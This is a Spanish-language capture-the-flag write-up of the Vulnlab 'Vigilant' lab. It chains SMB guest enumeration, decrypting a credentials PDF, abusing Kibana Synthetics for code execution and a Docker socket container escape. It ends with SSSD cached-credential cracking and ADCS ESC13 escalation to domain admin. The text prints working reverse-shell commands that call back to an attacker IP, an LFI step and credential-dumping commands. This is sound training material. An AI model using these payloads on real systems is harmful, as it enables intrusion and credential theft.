# Vigilant - Writeup (Vulnlab)

```bash

██╗░░░██╗██╗░██████╗░██╗██╗░░░░░░█████╗░███╗░░██╗████████╗
██║░░░██║██║██╔════╝░██║██║░░░░░██╔══██╗████╗░██║╚══██╔══╝
╚██╗░██╔╝██║██║░░██╗░██║██║░░░░░███████║██╔██╗██║░░░██║░░░
░╚████╔╝░██║██║░░╚██╗██║██║░░░░░██╔══██║██║╚████║░░░██║░░░
░░╚██╔╝░░██║╚██████╔╝██║███████╗██║░░██║██║░╚███║░░░██║░░░
░░░╚═╝░░░╚═╝░╚═════╝░╚═╝╚══════╝╚═╝░░╚═╝╚═╝░░╚══╝░░░╚═╝░░░

# CHAIN | HARD
```

## **INFO & NMAP**

```bash
# User
- Decrypt the PDF & log into Kibana (Usernames in Kibana are case-sensitive)
- Get a shell via Synthetics (you will likely need the API as the UI does not allow everything)
- Escape the container


# Root
- Look into ADCS
```

## **10.10.222.101 | WINDOWS**

```bash
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5601/tcp  open  esmagent
8220/tcp  open  unknown
9200/tcp  open  wap-wsp
9389/tcp  open  adws
49664/tcp open  unknown
49670/tcp open  unknown
49672/tcp open  unknown
61915/tcp open  unknown
61924/tcp open  unknown
61935/tcp open  unknown
61948/tcp open  unknown
62022/tcp open  unknown
```

## **10.10.253.102 | LINUX**

```bash
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 96:c0:d7:90:bb:cc:77:16:c6:e1:a5:03:f1:ca:5c:25 (ECDSA)
|_  256 12:23:db:bb:d8:56:3e:14:19:71:04:34:2c:22:49:65 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Vigilant Cybersecurity
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

# **FOOTHOLD**

### **SMB**

Como no tenemos credenciales, lo primero que hago es enumerar **SMB** en busca de algún tipo de acceso. Verifico que el usuario **GUEST** está habilitado:

```bash
nxc smb 10.10.222.101 -u 'guest' -p '' --shares
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754017494843/34e3271f-4a17-4b1b-8ecb-4b4c3e032e8b.png align="center")

Se encuentran dos carpetas, pero la más interesante y con contenido es **ITShare**:

```bash
smbclient //10.10.222.101/ITShare -U 10.10.222.101\guest%''
```

Al parecer el contenido está relacionado con reportes y auditoría en AD, así que descargo todo para analizarlo localmente.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754017514769/dc9b2646-1b4c-4e07-9306-e1ade8ea2cf8.png align="center")

Para bajar todo sin que me pida confirmación en cada archivo:

```bash
recurse on
prompt off
mget *
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754017532570/ed8bfa66-b892-4532-b422-0bf5d924788a.png align="center")

Dentro de la carpeta **IT\_Support/ADAuditReports** hay un *pdf* `Password_Strength_Report_encrypted.pdf` el cual parece estar encriptado.

Intenté crackearlo sin éxito, así que lo dejo por ahora y me enfoco en los otros archivos.  
Busco referencias a palabras clave como **username** o **password** que puedan ayudarme a acceder al *PDF* u otro recurso:

```bash
grep -rniE "username|password" .
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754017548136/17a47567-abe6-44a7-b2f8-28aecc4e2f9a.png align="center")

Al revisar **ADAudit.DLL** con **dnSpy** (emulándolo con *WINE* en mi caso), veo funciones de encriptado y chequeo de contraseñas débiles desde un `.txt`. Lo mas importante es que encuentro credenciales:

## **Credenciales encontradas**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754017562461/e5f10b73-bf35-4446-b365-d9926ffc4aff.png align="center")

## **Funcion de Encriptado de archivos:**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754017573201/0b82f300-7bd6-401b-bcda-76bd5cb3dfe2.png align="center")

## **Bloodhound Python y Desencriptando el PDF Report file**

A partir de ahora contamos con dos posibles caminos, en principio enumero el AD para tener un mejor enfoque del entorno, con bloodhound-python obtengo la informacion para revisarla luego:

```bash
bloodhound-python -u "svc_auditreporter" -p "<REDACTED>" -ns 10.10.222.101 -d "vigilant.vl" -c all --dns-tcp --zip
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754017610712/64820cad-2da0-446a-a498-8a21579c037a.png align="center")

Por otro lado, es posible tratar de crear un binario para revertir la funcion de encriptado que habiamos encontrado reverseando el **DLL** del Audit, y asi poder abrir el archivo del PDF Report.

Este es el codigo final que me funciono:

```bash
using System;
using System.IO;

namespace ninja_decoder
{
    internal class HiddenOps
    {
        static void Main(string[] args)
        {
            DecryptData("Password_Strength_Report_encrypted.pdf", "pdf_desencriptado.pdf");
        }

        static byte[] K(int s)
        {
            byte[] b = new byte[s];
            new Random(12345).NextBytes(b);
            return b;
        }

        static void S(ref byte[] d)
        {
            for (int i = 0; i < d.Length - 1; i += 2)
            {
                byte t = d[i];
                d[i] = d[i + 1];
                d[i + 1] = t;
            }
        }

        public static void EncryptData(string iF, string oF)
        {
            if (!File.Exists(iF)) throw new FileNotFoundException();
            byte[] c = File.ReadAllBytes(iF), k = K(c.Length);
            for (int i = 0; i < c.Length; i++)
            {
                c[i] ^= k[i % k.Length];
                c[i] = (byte)((c[i] << 4) | (c[i] >> 4));
            }
            S(ref c);
            File.WriteAllBytes(oF, c);
        }

        public static void DecryptData(string iF, string oF)
        {
            if (!File.Exists(iF)) throw new FileNotFoundException();
            byte[] c = File.ReadAllBytes(iF), k = K(c.Length);
            S(ref c);
            for (int i = 0; i < c.Length; i++)
            {
                c[i] = (byte)((c[i] << 4) | (c[i] >> 4));
                c[i] ^= k[i % k.Length];
            }
            File.WriteAllBytes(oF, c);
        }
    }
}
```

Desde un sistema Linux puede ser rapidamente compilado y ejecutado con mono, no hace falta un Windows:

```bash
mcs -out:decoPdf.exe decoPdf.cs
mono decoPdf.exe
```

Finalmente podemos obtener el contenido del archivo que para sorpresa nuestra contiene varias credenciales:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754017653669/7e29ec38-4755-4b61-afee-4f0ee7316b02.png align="center")

## **Spraying de credenciales**

Guardo las credenciales en `users.txt` y `pass.txt`, y hago un spraying:

```bash
nxc smb 10.10.222.101 -u users.txt -p pass.txt --shares --continue-on-success
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754017673371/62483c1c-d66c-4fd9-9537-5ad05900309a.png align="center")

Veo que la password de **Pamela.Clark** expiró en *Windows*, pero en *Linux* sigue funcionando. Intento loguear con:

> `Pamela.Clark@vigilant.vl`

Por ende probamos el ingreso y nos dice que tenemos que cambiarla, seteo uno nuevo y logueamos:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754017858931/67e23f60-9882-448c-bf41-cd8f2e223586.png align="center")

Una vez dentro, veo rastros de un **Docker/Elastic Agent** corriendo y referenciado al Domain Controller:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754017869324/550c5e7e-467d-4cdd-bcca-5d54b98e8645.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754017886613/a223a216-c004-41df-a3cf-1e31b2549752.png align="center")

**Elastic**: Es una plataforma de búsqueda y análisis de datos en tiempo real. Su componente principal es Elasticsearch, que almacena, indexa y busca datos.

**Kibana**: Es la interfaz gráfica de Elastic. Permite visualizar y analizar los datos de Elasticsearch con gráficos, dashboards y herramientas interactivas.

Esta corriendo en el puerto 5601, en el output del DC podemos verlo:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754017985449/322a361d-2df0-4dd2-a0ae-70beb9db1560.png align="center")

## **Elastic/Kibana | 5601/tcp**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754017999462/a9190598-0f24-4819-a0d6-f04547601c6d.png align="center")

Desde el browser accedo y reutilizo las credenciales de **Pamela** (las del *PDF* que habían expirado).

Una vez logueado lo primero que hago es revisar los roles y permisos. Vemos que Pamela tiene **SUPERUSER** role:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754018013775/249145c3-9368-4861-b595-e419bc1cff2b.png align="center")

Ahora que tengo acceso a Kibana con permisos de **SUPERUSER**, el siguiente paso es investigar los **Fleet Agents**, que permiten la administración centralizada de agentes Elastic en los distintos hosts del dominio..

Este link de referencia me ayudo bastante para entender mejor: [https://www.elastic.co/guide/en/fleet/master/fleet-overview.html](https://www.elastic.co/guide/en/fleet/master/fleet-overview.html)

Accediendo aca podemos observar los agents: [http://dc.vigilant.vl:5601/app/fleet/agents](http://dc.vigilant.vl:5601/app/fleet/agents)

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754018044947/01d48fa7-16ed-4cf2-b163-05889ef7bea3.png align="center")

Recordando las hints que daban al momento de iniciar la maquina veo que aplica lo siguiente:

* Get a shell via Synthetics (you will likely need the API as the UI does not allow everything)
    

**Synthetics** es una funcionalidad utilizada para monitorear y probar si un sitio web funciona correctamente. Permite la ejecución de scripts automatizados para simular interacciones de usuario y detectar posibles problemas de rendimiento o disponibilidad.

El uso de **Kibana Synthetics** nos permite ejecutar scripts en el entorno de Kibana. Si podemos modificar un **monitor existente** o crear uno nuevo con código malicioso, podríamos lograr RCE en el target.

Si nos dirijimos a http://dc.vigilant.vl:5601/app/synthetics, vemos lo siguiente:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754018306755/bb833832-9f6f-484f-9603-f601724290ee.png align="center")

Tenemos un monitor ya creado en la Pagina de **Marketing**. (Que es el server 80/http de la IP de Linux). Si probamos editar el monitor vemos que esta corriendo un script en el cual podriamos intentar modificarlo y ver que sucede:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754018313951/23a777bd-1f4a-425a-a30a-14e7d2cbe19b.png align="left")

Intente obtener una revshell con bash, pero obtuve un mensaje de error:

`Runs Synthetic test scripts that are defined inline. Monitor script is invalid. Inline scripts cannot be full journey scripts, they may only contain step definitions.`

Sin embargo, si trato de hacer un **LFI** con [**file://**](file://) funciona:

```bash
step('Go to http://localhost', async () => {
  await page.goto('file:///etc/passwd');
});
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754018355326/a06d4ef4-415b-4b9d-aa6c-2b90eadc312d.png align="center")

## **Creando una revshell journey via Synthetics**

Pero como podria obtener una revshell?. Bueno perdi bastante tiempo buscando el modo para ser honesto. Luego de varias horas logre encontrarlo y es creando un journey.

Si queremos ejecutar código más allá de una simple verificación de carga de una página, no podemos depender solo de un **monitor**, ya que su función es limitada. En cambio, necesitamos un **journey**, que nos permite definir acciones más custom/avanzadas dentro del entorno de **Synthetics**, seria como un step-by-step.

Con un poco de ayuda de **Google**:

> *Reference:*

* [https://www.elastic.co/guide/en/observability/master/synthetics-create-test.html#synthetics-request-param](https://www.elastic.co/guide/en/observability/master/synthetics-create-test.html#synthetics-request-param)
    
* [https://www.elastic.co/guide/en/observability/master/synthetics-create-test.html#synthetics-create-journey](https://www.elastic.co/guide/en/observability/master/synthetics-create-test.html#synthetics-create-journey)
    

Y otro poco de ayuda de **ChatGPT** realice estos pasos localemente en mi pc atacante:

```bash
npx @elastic/synthetics init elasticRev
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754018384418/71e84329-e4e0-4862-8d2e-800ba845ef87.png align="center")

Siguiendo el output, podemos generar una **API KEY** desde ese path:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754018449924/c1454405-0951-4cca-8236-d9205b6f39c8.png align="center")

Finalmente quedaria asi:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754018456587/1a7f8b9d-42b0-495f-83d5-e0aebb3fd2a8.png align="center")

Modificando el `example.journey.ts` creo lo siguiente:

```bash
import { journey, step, monitor } from '@elastic/synthetics';
import { exec } from 'child_process';

journey('Reverse Shell Exploit', async () => {
  monitor.use({
    id: 'exploit-monitor',
    schedule: 10, // Ejecuta cada 10 segundos
  });

  step('Trigger Reverse Shell', async () => {
    exec('bash -c "bash -i >& /dev/tcp/10.8.0.147/9000 0>&1"', (error, stdout, stderr) => {
      console.log(stdout);
      console.error(stderr);
    });
  });
});
```

Solo resta hacer un **PUSH** del journey:

```bash
npx @elastic/synthetics push --auth <API_KEY>
```

En principio pense que todo estaba mal al ver esto, pero luego en la web vi los monitores creados:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754018483417/8cf3873d-a848-4ef5-b8e4-26a9c35c7398.png align="left")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754018487562/2b92e928-920f-4517-a49a-b53248b6c132.png align="center")

Luego de unos minutos y con un **netcat** escuchando en el puerto **9000**:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754018498744/9c8607e8-9ba0-4adf-bd12-8676cceffccd.png align="center")

Como ya sabíamos, esto esta corriendo en un **DOCKER**. Y si leemos una vez mas la hint inicial de *vulnlab*:

* Escape the container
    

El camino esta muy claro, sabiendo que el agente de elastic es parte del grupo **root**:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754018514798/6384f8d0-4c15-48aa-99a2-356292c68694.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754018516538/06168322-a8d8-40e3-8295-67516305a5d0.png align="center")

```bash
curl --unix-socket /run/docker.sock http://localhost/containers/json
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754018562007/9018e666-4732-4da0-9ad5-48148207934f.png align="center")

Vamos a explotar esto con una tool conocida **DEEPCE**:

* [https://github.com/stealthcopter/deepce](https://github.com/stealthcopter/deepce)
    

Dejamos un netcat en el puerto **6000** en mi caso y desde el target descargamos el deepce.sh, le damos permisos de ejecucion y lo ejecutamos:

```bash
./deepce.sh --exploit SOCK --command "bash -c 'bash -i >& /dev/tcp/10.8.0.147/6000 0>&1'"
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754018602202/7b7ec381-c3df-4e8e-99b0-049ed7e36494.png align="center")

Obtenemos la shell y también leemos la flag desde el **USER.TXT**. Pero nos damos cuenta que tenemos una shell bastante restringida. Generando una SSH en el ROOT podemos conectarnos desde nuestra maquina atacante y vamos a recibir la terminal estable y funcional.

## **Enumeracion & Cache\_Credentials**

Ejecuto **<mark>linpeas.sh</mark>** y nos arroja que el **cache\_credentials** esta habilitado:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754018622009/432f72f0-6cad-4d92-a91f-774497352469.png align="center")

  
La opción `cache_credentials = True` que aparece en la configuración de **SSSD** (System Security Services Daemon) significa que las credenciales de los usuarios autenticados se almacenan en caché localmente.

Esto permite autenticaciones sin conexión al AD, pero también expone la posibilidad de extraer hashes o credenciales desde `/var/lib/sss/db/`, lo que podría ser explotado para ataques como **pass-the-hash** o escalada de privilegios.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754018630224/3be7a38b-6b1c-485f-9a80-726a0699fb54.png align="center")

En linux hay un comando llamado `tdbdump`, que sirve para leer bases de datos **TDB** (Trivial Database). Referencia a una maquina de HTB: [https://0xdf.gitlab.io/2023/04/01/htb-sekhmet.html](https://0xdf.gitlab.io/2023/04/01/htb-sekhmet.html)

```bash
tdbdump cache_vigilant.vl.ldb |grep cachedPassword
```

Creamos un archivo para el hash y lo crackeamos con **hashcat:**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754018654876/743d1d3d-f2f4-4ed3-a0c3-7c2d881ad307.png align="center")

## **Chequeando los permisos desde Bloodhound**

Si ahora retomamos con lo que al principio habiamos enumerado sobre el AD, observamos que GABRIEL.STEWART pertenece al grupo de **JUNIORADMINS** y este posee **CanPSRemote**:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754018670524/f22d08bd-3cef-447b-b54a-5735ff8dcf90.png align="center")

Cuando intente conectarme me decia que la contraseña habia expirado asi que opte por cambiarla y use *smbpasswd*:

```bash
smbpasswd -r vigilant.vl -U "gabriel.stewart"
```

Ahora si logueo via evil-winrm:

```bash
evil-winrm -i 10.10.222.101 -u gabriel.stewart -p '<REDACTED>'
```

## **Escalada a Domain Admin vía ADCS (ESC13)**

Mientras enumero el sistema, noto la presencia de **Active Directory Certificate Services (ADCS)**:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754018716518/9ffcfddf-1c89-4fdc-bb5b-816aebf9f8be.png align="center")

Enumero con certipy y luego cargo los .json en bloodhound (con un fork de pki nodes for certipy):

```bash
certipy find -vulnerable -u gabriel.stewart@vigilant.vl -p "<REDACTED>" -dc-ip 10.10.222.101 -stdout
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754018751278/e0be05dd-5fe9-40d9-be9a-b44dfbda470b.png align="center")

Nuestro usuario tiene permisos de **ENROLL** sobre la plantilla **VIGILANTADMINS**. Dejo una referencia de una web muy completa y que me ayuda mucho en casos similares:

*Reference: https*://[www.thehacker.recipes/ad/movement/adcs/](http://www.thehacker.recipes/ad/movement/adcs/)

Este caso corresponde al ataque **ESC13**, que permite escalar privilegios abusando de una *Issuance Policy* mal configurada.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754018762629/181fe383-322b-447d-be2e-11de0ac7e80b.png align="center")

Si en un entorno con **Active Directory Certificate Services (AD CS)** encuentro una plantilla de certificado que tiene una **Issuance Policy** vinculada a un grupo privilegiado mediante `msDS-OIDToGroupLink`, puedo abusar de esta configuración para escalar privilegios en el dominio.

Básicamente, si puedo obtener un certificado basado en esta plantilla, mi cuenta (usuario o máquina) heredará los privilegios del grupo vinculado, lo que puede significar acceso total al dominio.

Hay un script **.ps1** que me va a permitir verificar esto rapidamente:  
[https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1)

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754018786682/2489a8ab-181b-413e-b623-3e15a1d254c8.png align="center")

El contexto del output es bastante claro pero si buscamos sobre **Temporary Admins**:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754018796187/2f977115-fe5f-4b0c-a9b6-0686eb38c6b0.png align="center")

Considerando esto, nos permitiría obtener privilegios de administrador en el DC.  
Por ende solo deberiamos solicitar el certificado con **CERTIPY** de la siguiente manera:

```bash
certipy req -u 'gabriel.stewart' -ca vigilant-CA -target DC.vigilant.vl -template 'VigilantAdmins' -dc-ip 10.10.222.101 -key-size 4096
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754018815032/2006af47-d73c-4222-af28-8ebfbc713544.png align="center")

```bash
certipy auth -pfx gabriel.stewart.pfx -dc-ip 10.10.222.101
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754018834824/58e78850-25e0-4598-b668-80810d3174b1.png align="center")

Y finalmente:

```bash
export KRB5CCNAME=gabriel.stewart.ccache
secretsdump.py -k DC.vigilant.vl
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754018851549/81e0022a-890d-4fd7-b3ea-fd0c9da0b2bb.png align="center")

Como ya tenemos el ticket, podemos loguear directamente con **evil-winrm** y configurando un realm en **<mark>/etc/krb5.conf</mark>**

```bash
[libdefaults]
        default_realm = VIGILANT.VL

[realms]        
        VIGILANT.VL = {
                kdc = 10.10.222.101
                admin_server = vigilant.vl
                default_admin = vigilant.vl
        }
[domain_realm]
        .vigilant.vl = VIGILANT.VL
```

```bash
evil-winrm -i dc.vigilant.vl -r vigilant.vl
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754018873320/1ebc2bb6-dde5-4056-9cd0-8469ada7b7ef.png align="center")
